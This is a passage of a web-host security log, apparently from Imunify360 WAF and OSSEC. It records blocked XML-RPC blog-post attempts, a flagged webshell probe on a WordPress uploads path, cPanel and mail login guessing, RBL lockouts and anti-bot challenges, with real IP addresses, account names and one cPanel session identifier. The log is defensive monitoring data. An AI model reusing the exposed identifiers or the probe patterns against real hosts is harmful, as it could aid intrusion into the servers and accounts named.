abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8fc2922856bb6ab40ebde3f822cb5aefe4f6ee2d||Title:0xaa9abb37||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5b7f111f207b848c3fd904fcb6bbb6109fd649e4||Title:0x9f471260||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 198.13.37.241
country_id: 1861060
domain: centif.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/centif/public_html/wp-content||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ed5a2972aa86c06ba9f1abb22774cfdb4ddb9db5||Title:0x514fedff||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:09daa779e8164e6f0ca65e5333dd8a1d742269fe||Title:0x69d1336c||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2793649a7e34968f0dc337c4b52b2ef0ecadc474||Title:0xc1d63ab6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:39:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 206.232.3.254
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-38.206.232.3.254||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3693d3cfce632c0b2fe8b06813bcb0018af6094f||Title:0xf1dd8403||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9b393018a49f5cc3ffd2e86a539b198fdcac2e46||Title:0x25957c27||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.184.245.42
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea0f1ced7b4c32a88efd231ae5852575baa97bc3||Title:0x6203c21b||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.146.184.102
country_id: 272103
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/932761407 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.126
country_id: 3175395
description:
Jun 20 13:45:05 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.73
country_id: 690791
description:
Jun 20 13:45:11 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.250.111
country_id: 3469034
description:
Jun 20 13:45:25 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.250.111 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:13:44:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038150&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963083 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:13:44:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9924762&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963087 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:45:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6525807&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963095 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.75.168.35
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/10935458 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:46:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6341991&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963180 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:13:46:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922712&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963184 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.250.111
country_id: 3469034
description:
Jun 20 13:45:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.250.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-20 13:48:43 +0000] info [cpaneld] 5.230.133.16 NEW tqbcalqt:JWug6oFPsXfXrjzd address=5.230.133.16,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.255
country_id: 3469034
description:
Jun 20 13:49:20 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.255 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.255
country_id: 3469034
description:
Jun 20 13:49:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.255 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.148.251
country_id: 2363686
description:
2026-06-20 13:50:55 dovecot_login authenticator failed for H=(Yoga) [102.64.148.251]:63388: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.125
country_id: 2300660
description:
Jun 20 13:54:05 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.125 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:54:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:54:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.85.68
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/images-1.jpg 225w, http:/togodailynews.tg/wp-content/uploads/2023/11/images-1-150x150.jpg 150w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 51.210.118.219
country_id: 3017382
domain: civilemagazine.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.255.197.170
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ab816c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.203.178.241
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/ob_e80325_img-20181106-103100-572.jpg 997w, http:/togodailynews.tg/wp-content/uploads/2023/11/ob_e80325_img-20181106-103100-572-300x273.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/11/ob_e80325_img-20181106-103100-572-768x699.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.72.185
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1904360234 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.142.134.253
country_id: 146669
description:
Jun 20 13:56:52 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.142.134.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.61.209
country_id: 3469034
description:
Jun 20 13:56:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.61.209 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.70.21
country_id: 6252001
description:
[2026-06-20 13:58:19 +0000] info [cpaneld] 217.181.70.21 - prince "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user prince (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.76.208
country_id: 3469034
description:
Jun 20 13:58:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.76.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.136
country_id: 3469034
description:
Jun 20 13:59:03 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:14:00:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947287&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781964003 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.135
country_id: 3469034
description:
Jun 20 14:00:07 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.135 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:13:59:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196590&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963989 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:13:59:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7510163&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781963987 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:02:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052393&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781964120 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:14:02:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857942&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781964120 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.238.178.167
country_id: 3469034
description:
[2026-06-20 14:02:16 +0000] info [cpaneld] 170.238.178.167 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.109.97.251
country_id: 3469034
description:
[2026-06-20 14:02:21 +0000] info [cpaneld] 179.109.97.251 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.202.220.141
country_id: 290557
description:
[2026-06-20 14:02:29 +0000] info [cpaneld] 94.202.220.141 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.33.117.231
country_id: 3508796
description:
[2026-06-20 14:02:34 +0000] info [cpaneld] 186.33.117.231 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.186.28
country_id: 3865483
description:
[2026-06-20 14:02:47 +0000] info [cpaneld] 181.46.186.28 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.151
country_id: 1269750
description:
Jun 20 14:03:32 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.151 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 213.169.213.241
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:213.169.213.241||TA:213.169.213.241||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.80.153
country_id: 6251999
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:216.173.80.153||TA:216.173.80.153||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.110
country_id: 3865483
description:
Jun 20 14:06:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.13.157.103
country_id: 1831722
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.45-1024x750.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.45-300x220.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.45-768x563.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/02/WhatsApp-Image-2024-02-17-at-11.09.45.jpeg 1280w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.59.35.94
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/02/images-5.webp 304w, http:/togodailynews.tg/wp-content/uploads/2026/02/images-5-300x164.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.105.2.16
country_id: 719819
description:
Jun 20 14:07:42 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.105.2.16 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:11:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:11:09 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.59.20.136
country_id: 4566966
description:
2026-06-20 14:12:50 dovecot_plain authenticator failed for H=(WIN-BGU86CDI74S) [172.59.20.136]:58896: 535 Incorrect authentication data (set_id=pnlowa@otr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.49.154.102
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7a7f8a HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:14:16:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13266883&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781964971 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:14:16:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194310&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781964974 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:14:16:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13201303&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781964974 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
